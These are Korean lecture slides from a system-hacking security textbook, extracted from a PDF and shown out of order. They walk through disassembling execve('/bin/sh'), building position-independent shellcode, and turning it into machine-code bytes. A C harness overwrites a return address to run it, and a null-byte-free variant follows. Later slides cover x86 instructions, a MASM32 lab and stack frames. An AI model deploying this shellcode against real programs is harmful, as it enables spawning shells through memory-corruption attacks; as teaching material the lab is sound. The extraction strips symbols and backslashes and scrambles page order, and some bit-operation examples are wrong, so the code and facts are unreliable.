➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 38: 80×86  시스템에 대한 이해

38108

어셈블리어의 기본 명령 논리 명령 연산부호가 논리연산을 지정하는 명령으로 자리옮김 논리 합 (OR)

논리곱 (AND) 기호 변환 등이 있다bull AND(And) 대응되는 비트가 둘 다 1 일 때만 결과가 1 이고 그 이외는 모두 0

어셈블리어의 기본 문법과 명령

형식 AND [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

AND AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1000이 된다

AX 1 0 0 0

0times10h 1 0 1 0

AND 연산 결과 1 0 0 0

39108

어셈블리어의 기본 명령

bull OR(Or) 대응되는 비트 중 하나만 1 이어도 결과가 1 이고 둘 다 0 인 경우에만 0

어셈블리어의 기본 문법과 명령

형식 OR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

OR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 1 0 1 0

40108

어셈블리어의 기본 명령

bull XOR(Exclusive Or) 대응되는 비트 중에서 한 비트가 1 이고 다른 비트가 0 이면 1 두 개의

비트가 모두 0 또는 1 일 때 0

어셈블리어의 기본 문법과 명령

형식 XOR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

XOR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 0010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 0 0 1 0

41108

어셈블리어의 기본 명령

bull NOT(Invert) 피연산자의 1 의 보수를 구하는 작동 코드로 각 비트를 반전

어셈블리어의 기본 문법과 명령

형식 NOT [ 제 1 피연산자 ]

사용 예

NOT AX

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

명령을 수행한 뒤에 AX 값은 0111 이 된다

AX 1 0 0 0

NOT 연산 결과 0 1 1 1

42108

어셈블리어의 기본 명령

bull Test(And function to flags no result) 데이터의 두 값 비교할 때 사용 데이터의 변경 없이 단순 비교

어셈블리어의 기본 문법과 명령

형식 TEST [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

TEST AL 00001001b

AL 레지스터에 비트 0 과 비트 3 이 둘 다 0 인지 확인하고 싶으면

제 2 피연산자에 비트 0( 오른쪽의 첫 번째 비트 ) 과 비트 3(오른쪽부

터 네 번째 비트 ) 에 1 을 적어주고 나머지에는 0 을 적어준 후 TEST

명령을 실행한다 AL 의 비트 0 과 비트 3 이 모두 0 이라면 ZF(Zero

Flag) 가 세트된다 비트 0 와 비트 3 중 하나라도 1 이면 ZF는 클리

어된다 AX 가 0x08h 라면 비트 3 이 1 이므로 ZF 는 클리어된다

AL 1 0 0 0

00001001b 1 0 0 1

43108

어셈블리어의 기본 명령

bull 기타 논리 명령 데이터의 두 값을 비교할 때 사용 데이터의 변경 없이 단순 비교bull [ 표 2-9] 기타 논리 명령

어셈블리어의 기본 문법과 명령

명령 설명

SHL SAL

Shift Leftarithmetic Left 왼쪽으로 피연산자만큼 자리 이동

SHR SARShift Right Shift arithmetic Right

오른쪽으로 피연산자만큼 자리 이동

ROL Rotate Left 왼쪽으로 피연산자만큼 회전 이동

ROR Rotate Right 오른쪽으로 피연산자만큼 회전 이동

RCL Rotate through carry left자리올림 (Carry) 을 포함하여 왼쪽으로 피연산자만큼 회전 이동

RCR Rotate through carry Right자리올림 (Carry) 을 포함하여 오른쪽으로 연산자

만큼 회전이동

44108

어셈블리어의 기본 명령 스트링 명령 바이트로 구성된 스트링 (strings of bytes) 을 메모리 내에서 전송

bull REP(Repeat) ADD 나 MOVS 와 같은 작동 코드의 앞에 위치 CX 가 0 이 될 때까지 뒤에 오는 스트링 명령 반복

bull MOVS(Move String) 바이트나 워드 더블워드 옮기는 명령 MOVSB MOVSW MOVSD 가 있다 DSSI 가 지시한 메모리 데이터를 ES DI 가 지시한 메모리로 전송

어셈블리어의 기본 문법과 명령

형식 REP 작동코드 -

형식 MOVSB

사용예

CLD

LEA SI String_1

LEA DI String_2

MOV CX 384

REP MOVSB

- CLD (Clear Direction) 디렉션 플래그를 지움

- LEA SI String_1 String 1 의 주소 값을 SI(Source Index) 에 저장

- LEA DI String_2 String 2 의 주소 값을 DI(Destination Index) 에 저장

- MOV CX 384 CX 에 384 저장

- REP MOVSB SI 로부터 DI까지 CX 가 0 이 될 때까지 1 바이트씩 복사

45108

어셈블리어의 기본 명령

bull 기타 스트리밍bull [ 표 2-10] 기타 스트링 명령

어셈블리어의 기본 문법과 명령

명령문 설명

CMPSCompare String

DS SI 와 ES DI 의 내용을 비교한 결과에 따라 플래그를 설정한다

SCAS Scan StringAL 또는 AX 와 ESDI 가 지시한 메모리 내용을 비교한 결과에

따라 플래그를 설정한다

LODS Load String SI 내용을 AL 또는 AX 로 로드한다

STOS Store String AL 또는 AX 를 ES DI 가 지시하는 메모리에 저장한다

46108

어셈블리어의 기본 명령 제어 전송 명령 점프 ( 분기 Jump) 조건 점프 ( 조건 분기 Conditional jump)

루프 (Loop) 호출 (Call) 과 리턴 (Return) 연산 등으로

프로그램의 흐름 제어

bull JMP(Unconditional Jump) 대표적인 점프 명령 프로그램을 실행할 주소 또는 라벨로 이동

어셈블리어의 기본 문법과 명령

형식 JMP [ 제 1 피연산자 ]

사용 예

JMP 100h

주소로 직접 지정한 100h 번지로 점프한다

string MOV CX 384

JMP string

라벨로 JMP 를 지정하는 경우다

47108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JC carry flag set CF = 1 CF 값이 1 이면 점프

JNC not carry flag set CF = 0 CF 값이 0 이면 점프

JEJZ Equal Zero ZF = 1 결과가 0 이면 점프

JAJNBEabovenot below nor equal

CF = 0 and ZF = 0

결과가 크면 점프 ( 부호화 안된 수 )

JAEJNBabove or equalnot below

CF = 0결과가 크거나 같으면 점프 ( 부호화 안된 수 )

JBJNAEbelownot above nor equal

CF = 1 결과가 작으면 점프 ( 부호화 안된 수 )

JLJNGElessnot greater nor equal

SF = OF 결과가 작으면 점프 ( 부호화된 수 )

JBEJNAbelow or equalnot above

(CF or ZF) = 1결과가 작거나 같으면 점프 ( 부호화 안된 수 )

JGJNLEgreaternot less nor equal

ZF = 0 and SF = OF

결과가 크면 점프 ( 부호화 안된 수 )

JGEJNLgreater or equalnot less

SF = OF 결과가 크거나 같으면 점프 ( 부호화된 수 )

48108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

above below 부호 없는 두 수의 크기 관계

greater less 부호 있는 두 수의 크기 관계

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JLEJNGless or equalnot greater

ZF = 1 or SF = OF

결과가 작거나 같으면 점프 ( 부호화 안된 수 )

결과가 0 이 아니면 점프

JNEJNZ not equalnot zero ZF = 0JNOnot overflowOF=0 오버플로우가

아닌 경우 점프

JNPJPO not parityparity odd PF = 0 PF 가 1 이면 점프

JNS not sign SF = 0 SF 가 1 이면 점프

JO overflow OF = 1 오버플로우 발생 시 점프

JPJPE parityparity even PF = 1 PF 가 1 이면 점프

JS Sign SF = 1 SF 가 1 이면 점프

JCXZ CX Zero CX = 0 CX 가 0 이면 점프

49108

어셈블리어의 기본 명령

bull CALL(Call) JMP 처럼 함수 호출할 때 사용 제 1 피연산자에 라벨을 지정 리턴 주소로 IP(Instruction Pointer) 주소 백업 lsquoPUSH EIP + JMPrsquo 와 같은 의미

bull RET(Return from CALL) 함수에서 호출한 곳으로 돌아갈 때 사용하는 명령 lsquoPOP EIPrsquo 와 같은 의미

bull CALL 과 RET 의 예 가정 AX 에는 0x08h 값이 저장

bull SUBR 함수 호출하면 SUBR 라벨이 있는 곳에서 RET까지 실행 INC AX 가 있으므로 AX 는 0x09hbull RET 명령이 실행되면 CALL 다음 라인인 lsquoADD AX 10hrsquo 실행 AX 는 0x19h

어셈블리어의 기본 문법과 명령

RET

CALL SUBR ADD AX 10h SUBR INC AX RET

형식 CALL [ 제 1 피연산자 ]

50108

어셈블리어의 기본 명령

bull LOOP(Loop CX times) 문장들의 블록을 지정된 횟수만큼 반복 CX 는 자동적으로 카운터로 사용되며 루프 반복할 때마다 감소

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를 스택에 저장

그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

형식 INT [ 제 1 피연산자 ]

51108

어셈블리어의 기본 명령

bull 기타 제어 전송 명령

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를

스택에 저장 그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 INT [ 제 1 피연산자 ]

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

52108

어셈블리어의 기본 명령 프로세스 제어 명령

bull STC(Set Carry) 명령은 피연산자 없이 사용 EFLAGS 레지스터의 CF 값을 세을 세팅bull -NOP(No Operation) 아무 의미 없는 명령 일종의 빈 칸을 채우려고 사용bull 기타 프로세스 제어 명령

bull [ 표 2-13] 기타 프로세스 제어 명령

어셈블리어의 기본 문법과 명령

명령 설명

CLC Clear Carry 캐리 플래그를 클리어한다

CMC Complement Carry 캐리 플래그를 반전한다

HLT Halt 정지한다

CLD Clear Direction 디렉션 플래그를 클리어한다

CLI Clear Interrupt 인터럽트 플래그를 클리어한다

STD Set Direction 디렉션 플래그를 세트한다

STI Set Interrupt 인터럽트 인에이블 플래그를 세트한다

WAIT Wait 프로세스를 일시 정지 상태로 한다

ESC Escape to External device 종료 명령이다

53108

MASM32 설치 라이브러리를 제공하는 MASM32 설치

[ 그림 2-22] MASM32 다운로드와 설치

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

bull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASMbull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASM

실습환경

1

54108

WINASM 설치 에디터인 WINASM를 설치

[ 그림 2-23] WINASM 다운로드와 경로 설정

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

2

55108

프로젝트 생성 WINASM에서 [File]-[New Project] 메뉴를 선택 [New Project] 대화상자에서 생성할 프로젝트의 종류를 선택

[ 그림 2-24] 새 프로젝트 생성

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

3

56108

어셈블리어 프로그램 작성 (1)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

486 32 비트 모드임을 알려준다

model flat stdcall 메모리 모델을 알려준다

라이브러리의 표준 양식이 있는 inc 파일과 라이브러리 파일을 include

include masm32includewindowsinc

include masm32macrosmacrosasm

include masm32includemasm32inc

include masm32includegdi32inc

include masm32includeuser32inc

include masm32includekernel32inc

includelib masm32libmasm32lib

includelib masm32libgdi32lib includelib masm32libuser32lib includelib masm32libkernel32lib

57108

어셈블리어 프로그램 작성 (2)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

code MASM 이 시작됨을 알려준다

start 코드의 시작점 (Entry Point)

call main main 함수를 호출한다

Exit

main proc main 함수

mov eax 100 100 을 EAX 레지스터에 저장한다

mov ecx 250 250 을 ECX 레지스터에 저장한다

add ecx eax ECX 에 EAX 값을 더한다

mov eax 300 300 을 EAX 레지스터에 저장한다

cmp eax ecx EAX 와 ECX 를 비교한다

je equal EAX 와 ECX 가 같으면 equal 로 점프

jg bigger EAX 가 ECX 보다 크면 bigger 로 점프

jl smaller EAX 가 ECX 보다 작으면 smaller 로 점프

58108

어셈블리어 프로그램 작성 (3)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

equal

print chr$(EAX 와 ECX 는 같습니다 )

jmp over over 로 점프한다

bigger

print chr$(EAX 가 ECX 보다 큽니다 )

jmp over

smaller

print chr$(EAX 가 ECX 보다 작습니다 )

over

ret return

main endp main 함수를 끝낸다

end start MASM 프로그램을 끝낸다

59108

컴파일 먼저 [Make]-[Assemble] 메뉴를 선택하면 obj 파일이 생기고

[Make]-[Link] 메뉴를 선택하면 exe 파일이 생성

[ 그림 2-25] 컴파일

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

5

60108

실행 [Make]-[Link] 메뉴까지 실행을 마치면 다음과 같이 AMS_TESTobj와 AMS_TESTexe 파일이 생성 AMS_TESTexe 파일을 실행 해보자

[ 그림 2-26] 실행

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

6

61108

어셈블리어의 각 실행 단계별로 스택의 동작을 살펴보는 과정을 통해 스택에서 어셈블리어

처리하는 과정을 이해 리눅스에서는 어셈블리어가 ATampT 문법으로 사용되어 제 1 피연산자와

제 2 피연산자의 위치가 반대

SAMPLEC 의 어셈블리어 코드 획득 (1)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

samplec

void main()

int c

c=function(1 2)

int function(int a int b)

char buffer[10]

a=a+b

return a

62108

SAMPLEC 의 어셈블리어 코드 획득 (2) 레드햇 리눅스 62 에서 컴파일

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

sampleafile samplec

version 0101gcc2_compiledtext

align 4globl main

type mainfunctionmain

pushl ebp ➊movl espebp ➋subl $4esp ➌pushl $2 ➍pushl $1 ➎call function ➏addl $8esp 1056934movl eaxeax 1056934

gcc -S -o samplea samplec

vi samplea

17

18

63108

SAMPLEC 의 어셈블리어 코드 획득 (3)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

movl eax-4(ebp) 1056934L1

leave 1056937ret

Lfe1size mainLfe1-mainalign 4

globl functiontype functionfunction

functionpushl ebp ➐movl espebp ➑subl $12esp ➒movl 12(ebp)eax ➓addl eax8(ebp) 1056934movl 8(ebp)edx 1056934movl edxeax 1056934jmp L2 1056934p2align 47

L2leave 1056934ret 1056934

Lfe2size functionLfe2-functionident GCC (GNU) egcs-29166 19990314Linux (egcs-112

release)

19

20

21

11

1213

14

15

16

64108

셀 기본 코드 분석➊ pushl ebp 최초의 프레임 포인터 (ebp) 값 스택에 저장

ebp 바로 전에 ret 가 저장 ebp 는 함수 시작 전의 기준점이 된다 스택에 저장된 ebp 를 SFP(Saved Frame Pointer) 라고 부른다

ret(returnaddress) 에는 함수 종료시 점프할 주소값 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

2

65108

➋ movl esp ebp 현재의 esp 값을 EBP 레지스터에 저장 push ebp 와 esp ebp 는 새로운 함수를 시작할 때

항상 똑같이 수행하는 명령으로 프롤로그 (Prologue) 라고 부른다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

66108

➌ subl $4 esp 스택에 4 바이트만큼의 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

67108

➍ pushl $2 ➍sim➏ 세 단계는 function(1 2) 에 대한 코드다

➎ pushl $1

➏ call function

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

68108

➐ pushl ebp 현재 레지스터의 ebp 값을 스택에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

69108

